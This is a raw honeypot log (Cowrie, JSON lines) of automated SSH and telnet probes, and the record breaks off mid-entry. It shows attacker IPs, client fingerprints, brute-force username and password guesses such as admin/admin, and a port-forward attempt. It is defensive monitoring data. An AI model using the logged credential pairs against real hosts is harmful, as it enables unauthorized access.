{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":52466,"dst_ip":"159.203.135.109","dst_port":22,"session":"b029fdfd63d7","protocol":"ssh","message":"New connection: 194.59.206.2:52466 (159.203.135.109:22) [session: b029fdfd63d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:22:17.176312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:22:17.181206Z","src_ip":"194.59.206.2","session":"b029fdfd63d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:22:17.266859Z","src_ip":"194.59.206.2","session":"b029fdfd63d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:22:17.356670Z","src_ip":"194.59.206.2","session":"b029fdfd63d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.43492674827576,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:22:47.172782Z","src_ip":"212.55.149.117","session":"e69ae17106da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.139.136.75","src_port":51470,"dst_ip":"159.203.135.109","dst_port":23,"session":"3716a60b9c65","protocol":"telnet","message":"New connection: 147.139.136.75:51470 (159.203.135.109:23) [session: 3716a60b9c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:23:31.304315Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":10284,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4436d94dc19","protocol":"ssh","message":"New connection: 2.57.121.25:10284 (10.17.0.5:22) [session: c4436d94dc19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:23:32.118629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:23:32.123635Z","src_ip":"2.57.121.25","session":"c4436d94dc19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:23:32.232183Z","src_ip":"2.57.121.25","session":"c4436d94dc19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13051981","message":"login attempt [user/13051981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:23:32.726102Z","src_ip":"2.57.121.25","session":"c4436d94dc19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1301","message":"login attempt [user/1301] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:23:33.835402Z","src_ip":"2.57.121.25","session":"c4436d94dc19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12451245","message":"login attempt [user/12451245] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:23:34.943360Z","src_ip":"2.57.121.25","session":"c4436d94dc19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12378","message":"login attempt [user/12378] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:23:36.052200Z","src_ip":"2.57.121.25","session":"c4436d94dc19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123454","message":"login attempt [user/123454] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:23:37.160741Z","src_ip":"2.57.121.25","session":"c4436d94dc19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:23:38.268507Z","src_ip":"2.57.121.25","session":"c4436d94dc19","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:24:32.551429Z","src_ip":"147.139.136.75","session":"3716a60b9c65","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:24:32.607306Z","src_ip":"147.139.136.75","session":"3716a60b9c65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":37126,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c20686e24d4","protocol":"ssh","message":"New connection: 103.15.226.202:37126 (10.17.0.5:22) [session: 5c20686e24d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:25:15.337069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:25:15.342684Z","src_ip":"103.15.226.202","session":"5c20686e24d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:25:15.585635Z","src_ip":"103.15.226.202","session":"5c20686e24d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ora_root","password":"111111","message":"login attempt [ora_root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:25:16.328445Z","src_ip":"103.15.226.202","session":"5c20686e24d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:25:17.577061Z","src_ip":"103.15.226.202","session":"5c20686e24d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":60460,"dst_ip":"10.17.0.5","dst_port":22,"session":"a530cc562af0","protocol":"ssh","message":"New connection: 87.251.64.176:60460 (10.17.0.5:22) [session: a530cc562af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:25:56.618311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:25:56.622787Z","src_ip":"87.251.64.176","session":"a530cc562af0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:25:56.721642Z","src_ip":"87.251.64.176","session":"a530cc562af0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:25:57.023940Z","src_ip":"87.251.64.176","session":"a530cc562af0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:25:57.122890Z","session":"a530cc562af0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:25:57.222548Z","src_ip":"87.251.64.176","session":"a530cc562af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:25:57.321522Z","src_ip":"87.251.64.176","session":"a530cc562af0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":31488,"dst_ip":"159.203.135.109","dst_port":22,"session":"24e0eb7ee0e9","protocol":"ssh","message":"New connection: 193.24.211.100:31488 (159.203.135.109:22) [session: 24e0eb7ee0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:38.121423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:38.151724Z","src_ip":"193.24.211.100","session":"24e0eb7ee0e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:38.278660Z","src_ip":"193.24.211.100","session":"24e0eb7ee0e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marvel","message":"login attempt [root/marvel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:38.704391Z","src_ip":"193.24.211.100","session":"24e0eb7ee0e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:39.816408Z","src_ip":"193.24.211.100","session":"24e0eb7ee0e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":46942,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ef89c42ebea","protocol":"telnet","message":"New connection: 103.153.183.192:46942 (10.17.0.5:23) [session: 3ef89c42ebea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:55.498629Z"}
{"eventid":"cowrie.session.closed","duration":0.005284786224365234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:55.503805Z","src_ip":"103.153.183.192","session":"3ef89c42ebea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.110","src_port":54954,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d469197a443","protocol":"ssh","message":"New connection: 191.101.33.110:54954 (10.17.0.5:22) [session: 0d469197a443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:58.340092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:58.345152Z","src_ip":"191.101.33.110","session":"0d469197a443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:58.372920Z","src_ip":"191.101.33.110","session":"0d469197a443","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:08:b2:82:6d:ea:6e:e2:4f:f2:6a:a3:34:56:3b:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWYvec2zv319ni0JROiBy2X8lRH1mgBQPww85X3gZi0a8A7l4gybGgNbTOP0vAjlq3r9cOeIqlyzS2XqvIyJMsywGy6vSJgSqCfUFgS47aUVlVLTddiku1fvp237sOHGggL0ckaQl+++V7OFmAl0YRi42BSIOBynm4XNe2BkwYQk0/Wrv46MF0tsyxB0WvgFYdJHDk9FLmEeuU7PbvViAswHPdWOa5mZChjqpwMePNEmmMkshG5D/NI9EKaRVrBaY/a/2fQwmy70IzjhKaR1A/pkcUmSLllvZyc2tUQuzYiQ8SxQpfEJfmMFNlk4zPoRek7JjWNzffvYXaYwnUiAYR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:08:b2:82:6d:ea:6e:e2:4f:f2:6a:a3:34:56:3b:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:58.487276Z","src_ip":"191.101.33.110","session":"0d469197a443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:08:b2:82:6d:ea:6e:e2:4f:f2:6a:a3:34:56:3b:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWYvec2zv319ni0JROiBy2X8lRH1mgBQPww85X3gZi0a8A7l4gybGgNbTOP0vAjlq3r9cOeIqlyzS2XqvIyJMsywGy6vSJgSqCfUFgS47aUVlVLTddiku1fvp237sOHGggL0ckaQl+++V7OFmAl0YRi42BSIOBynm4XNe2BkwYQk0/Wrv46MF0tsyxB0WvgFYdJHDk9FLmEeuU7PbvViAswHPdWOa5mZChjqpwMePNEmmMkshG5D/NI9EKaRVrBaY/a/2fQwmy70IzjhKaR1A/pkcUmSLllvZyc2tUQuzYiQ8SxQpfEJfmMFNlk4zPoRek7JjWNzffvYXaYwnUiAYR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:26:58.490700Z","src_ip":"191.101.33.110","session":"0d469197a443","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:e3:83:44:49:58:cd:5e:78:04:94:65:6c:64:fc:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvWHplDLEVgsHB3JGjlSNWHEk9nLD+wxDLOOvqlavrw43rqv7E5LxpTlf4jh8LiHh+y30Qdub1K4dLlltQ1+bkcp7YsXQ9r7+a3+ABJB2csDg0ZwamdeTqutQth6Agn7YXha4eFvuHe9Vwu8r39dDxbamhKssn1yOtXwbi4Y0cHnhJVmcAXiylZIARvCNG1pV1k8venuiZsjOuecY9hj52Ar8x1G7lg97fNJylgUn6o/fgr3bYD2gAiDvvpR7GjiO93KQsHpavFTSN2H0MoE1+s582MjQmUtBnzPxYSwGEjnVSHpQPl+4TvgKi5JTvb4F9nP9atd22EmS61xamg1QYJp/NSAqxuebzSoygKqyL231lIj4zwvY/nDO7aGJMJVtxBXrntwwMnF2kwVF2pX+oZ9GBcN5gqkpNrRZuMqO6j2kyhMkN60WCVrUM/pGkFJbN7R+SV0VBki+99b0I6V4g8HrGQj9AlvePnQ6ZM4UuH4J6Sn9oZc06jxn9D57i9BM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 